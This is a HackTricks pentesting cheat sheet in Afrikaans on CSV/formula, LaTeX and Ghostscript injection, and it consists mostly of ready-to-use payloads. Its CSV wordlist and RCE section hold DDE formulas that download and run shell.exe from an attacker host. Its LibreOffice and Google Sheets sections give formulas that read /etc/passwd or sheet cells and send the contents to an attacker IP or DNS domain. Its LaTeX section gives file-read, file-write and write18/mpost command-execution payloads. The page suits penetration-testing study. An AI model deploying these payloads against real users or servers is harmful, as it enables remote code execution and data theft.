hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

208 lines
12 KiB
Markdown
Raw Normal View History

# Formula/CSV/Doc/LaTeX/GhostScript Injection
2022-05-01 13:25:53 +00:00
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
## Formula Injection
2023-09-02 23:48:41 +00:00
### Info
2022-07-10 22:26:52 +00:00
As jou **invoer** binne **CSV lêers** (of enige ander lêer wat waarskynlik deur **Excel** geopen gaan word) **reflekteer** word, kan jy dalk Excel **formules** plaas wat **uitgevoer** sal word wanneer die gebruiker die **lêer open** of wanneer die gebruiker op 'n **skakel** binne die excel bladsy **klik**.
{% hint style="danger" %}
Tans **sal Excel waarsku** (verskeie kere) die **gebruiker wanneer iets van buite die Excel gelaai word** om te voorkom dat hy kwaadwillige aksies onderneem. Daarom moet spesiale moeite in Sosiale Ingenieurswese in die finale payload toegepas word.
{% endhint %}
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
2022-09-29 15:13:42 +00:00
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
### Hyperlink
2022-09-29 15:13:42 +00:00
**Die volgende voorbeeld is baie nuttig om inhoud uit die finale excel-skaak te onttrek en om versoeke na arbitrêre plekke te doen. Maar dit vereis dat die gebruiker op die skakel klik (en die waarskuwingstoets aanvaar).**
Die volgende voorbeeld is geneem van [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Stel jou 'n sekuriteitsbreuk in 'n Student Record Management-stelsel voor wat deur 'n CSV-inspuitaanval uitgebuit word. Die aanvaller se primêre bedoeling is om die stelsel wat deur onderwysers gebruik word om student besonderhede te bestuur, te kompromitteer. Die metode behels dat die aanvaller 'n kwaadwillige payload in die toepassing inspuit, spesifiek deur skadelike formules in velde wat vir student besonderhede bedoel is, in te voer. Die aanval ontvou soos volg:
1. **Inspuiting van Kwaadwillige Payload:**
* Die aanvaller dien 'n student besonderhede vorm in, maar sluit 'n formule in wat algemeen in sigblad gebruik word (bv. `=HYPERLINK("<malicious_link>","Click here")`).
* Hierdie formule is ontwerp om 'n hyperlink te skep, maar dit wys na 'n kwaadwillige bediener wat deur die aanvaller beheer word.
2. **Eksportering van Gecompromitteerde Data:**
* Onderwysers, onbewus van die kompromie, gebruik die toepassing se funksionaliteit om die data in 'n CSV-lêer te eksporteer.
* Die CSV-lêer, wanneer dit geopen word, bevat steeds die kwaadwillige payload. Hierdie payload verskyn as 'n klikbare hyperlink in die sigblad.
3. **Triggering van die Aanval:**
* 'n Onderwyser klik op die hyperlink, in die geloof dat dit 'n legitieme deel van die student se besonderhede is.
* By die klik word sensitiewe data (potensieel insluitend besonderhede van die sigblad of die onderwyser se rekenaar) na die aanvaller se bediener oorgedra.
4. **Teken van die Data:**
* Die aanvaller se bediener ontvang en teken die sensitiewe data wat van die onderwyser se rekenaar gestuur is.
* Die aanvaller kan dan hierdie data vir verskeie kwaadwillige doeleindes gebruik, wat die privaatheid en sekuriteit van die studente en die instelling verder kompromitteer.
2022-07-10 22:26:52 +00:00
### RCE
**Kyk na die** [**oorspronklike pos**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **vir verdere besonderhede.**
In spesifieke konfigurasies of ouer weergawes van Excel kan 'n funksie genaamd Dynamic Data Exchange (DDE) uitgebuit word om arbitrêre opdragte uit te voer. Om hiervan gebruik te maak, moet die volgende instellings geaktiveer word:
* Navigeer na File → Options → Trust Center → Trust Center Settings → External Content, en aktiveer **Dynamic Data Exchange Server Launch**.
2021-06-29 12:49:13 +00:00
Wanneer 'n sigblad met die kwaadwillige payload geopen word (en as die gebruiker die waarskuwings aanvaar), word die payload uitgevoer. Byvoorbeeld, om die sakrekenaar-toepassing te begin, sou die payload wees:
2024-02-06 03:10:38 +00:00
```markdown
=cmd|' /C calc'!xxx
2021-06-29 12:49:13 +00:00
```
Aanvullende opdragte kan ook uitgevoer word, soos om 'n lêer af te laai en uit te voer met PowerShell:
2024-02-06 03:10:38 +00:00
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
2021-06-29 12:49:13 +00:00
```
### Plaaslike Lêer Insluiting (LFI) in LibreOffice Calc
2021-06-29 12:49:13 +00:00
LibreOffice Calc kan gebruik word om plaaslike lêers te lees en data te exfiltreer. Hier is 'n paar metodes:
2021-06-29 12:49:13 +00:00
* Lees die eerste lyn van die plaaslike `/etc/passwd` lêer: `='file:///etc/passwd'#$passwd.A1`
* Exfiltreer die geleesde data na 'n aanvaller-beheerde bediener: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
* Exfiltreer meer as een lyn: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* DNS exfiltrasie (stuur geleesde data as DNS navrae na 'n aanvaller-beheerde DNS bediener): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
2021-06-29 12:49:13 +00:00
### Google Sheets vir Out-of-Band (OOB) Data Exfiltrasie
2021-06-29 12:49:13 +00:00
Google Sheets bied funksies wat uitgebuit kan word vir OOB data exfiltrasie:
2021-06-29 12:49:13 +00:00
* **CONCATENATE**: Voeg strings saam - `=CONCATENATE(A2:E2)`
* **IMPORTXML**: Importeer data van gestruktureerde datatipes - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED**: Importeer RSS of ATOM feeds - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTHTML**: Importeer data van HTML tabelle of lyste - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
* **IMPORTRANGE**: Importeer 'n reeks selle van 'n ander sigblad - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
* **IMAGE**: Voeg 'n beeld in 'n sel in - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
2021-06-29 12:49:13 +00:00
## LaTeX Inspuiting
2021-06-29 12:49:13 +00:00
Gewoonlik gebruik die bedieners wat op die internet gevind word wat **LaTeX kode na PDF** omskakel **`pdflatex`**.\
Hierdie program gebruik 3 hoofkenmerke om (nie)opdraguitvoering toe te laat nie:
2022-07-10 22:26:52 +00:00
* **`--no-shell-escape`**: **Deaktiveer** die `\write18{command}` konstruksie, selfs al is dit geaktiveer in die texmf.cnf lêer.
* **`--shell-restricted`**: Dieselfde as `--shell-escape`, maar **beperk** tot 'n 'veilige' stel **voorgedefinieerde** \*\*opdragte (\*\*Op Ubuntu 16.04 is die lys in `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`**: **Aktiveer** die `\write18{command}` konstruksie. Die opdrag kan enige skulpopdrag wees. Hierdie konstruksie word normaalweg om veiligheidsredes verbied.
2022-07-10 22:26:52 +00:00
Daar is egter ander maniere om opdragte uit te voer, so om RCE te vermy is dit baie belangrik om `--shell-restricted` te gebruik.
2022-07-10 22:26:52 +00:00
2024-02-11 02:07:06 +00:00
### Lees lêer <a href="#read-file" id="read-file"></a>
Jy mag dalk die inspuiting met wrappers soos \[ of $ moet aanpas.
2022-07-10 22:26:52 +00:00
```bash
\input{/etc/passwd}
\include{password} # load .tex file
2022-07-12 21:55:32 +00:00
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
2022-07-10 22:26:52 +00:00
```
#### Lees enkellyn lêer
2022-07-10 22:26:52 +00:00
```bash
\newread\file
2022-07-10 22:26:52 +00:00
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
#### Lees 'n veellyn lêer
2022-07-10 22:26:52 +00:00
```bash
\newread\file
2022-07-10 22:26:52 +00:00
\openin\file=/etc/passwd
\loop\unless\ifeof\file
2024-02-11 02:07:06 +00:00
\read\file to\fileline
\text{\fileline}
2022-07-10 22:26:52 +00:00
\repeat
\closein\file
```
### Skryf lêer <a href="#write-file" id="write-file"></a>
2022-07-10 22:26:52 +00:00
```bash
\newwrite\outfile
2022-07-10 22:26:52 +00:00
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
### Opdrag uitvoering <a href="#command-execution" id="command-execution"></a>
2022-07-10 22:26:52 +00:00
Die invoer van die opdrag sal na stdin herlei word, gebruik 'n tydelike lêer om dit te verkry.
2022-07-10 22:26:52 +00:00
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
2022-07-12 22:56:28 +00:00
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
2022-07-10 22:26:52 +00:00
```
As jy enige LaTex-fout kry, oorweeg dit om base64 te gebruik om die resultaat sonder slegte karakters te verkry.
2022-07-10 22:26:52 +00:00
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
Van [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
2022-07-10 22:26:52 +00:00
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## Ghostscript Injection
2022-07-10 22:26:52 +00:00
**Kontroleer** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
2024-02-11 02:07:06 +00:00
## Verwysings
2021-06-29 12:49:13 +00:00
2022-07-10 22:26:52 +00:00
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Ondersteun HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Kontroleer die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}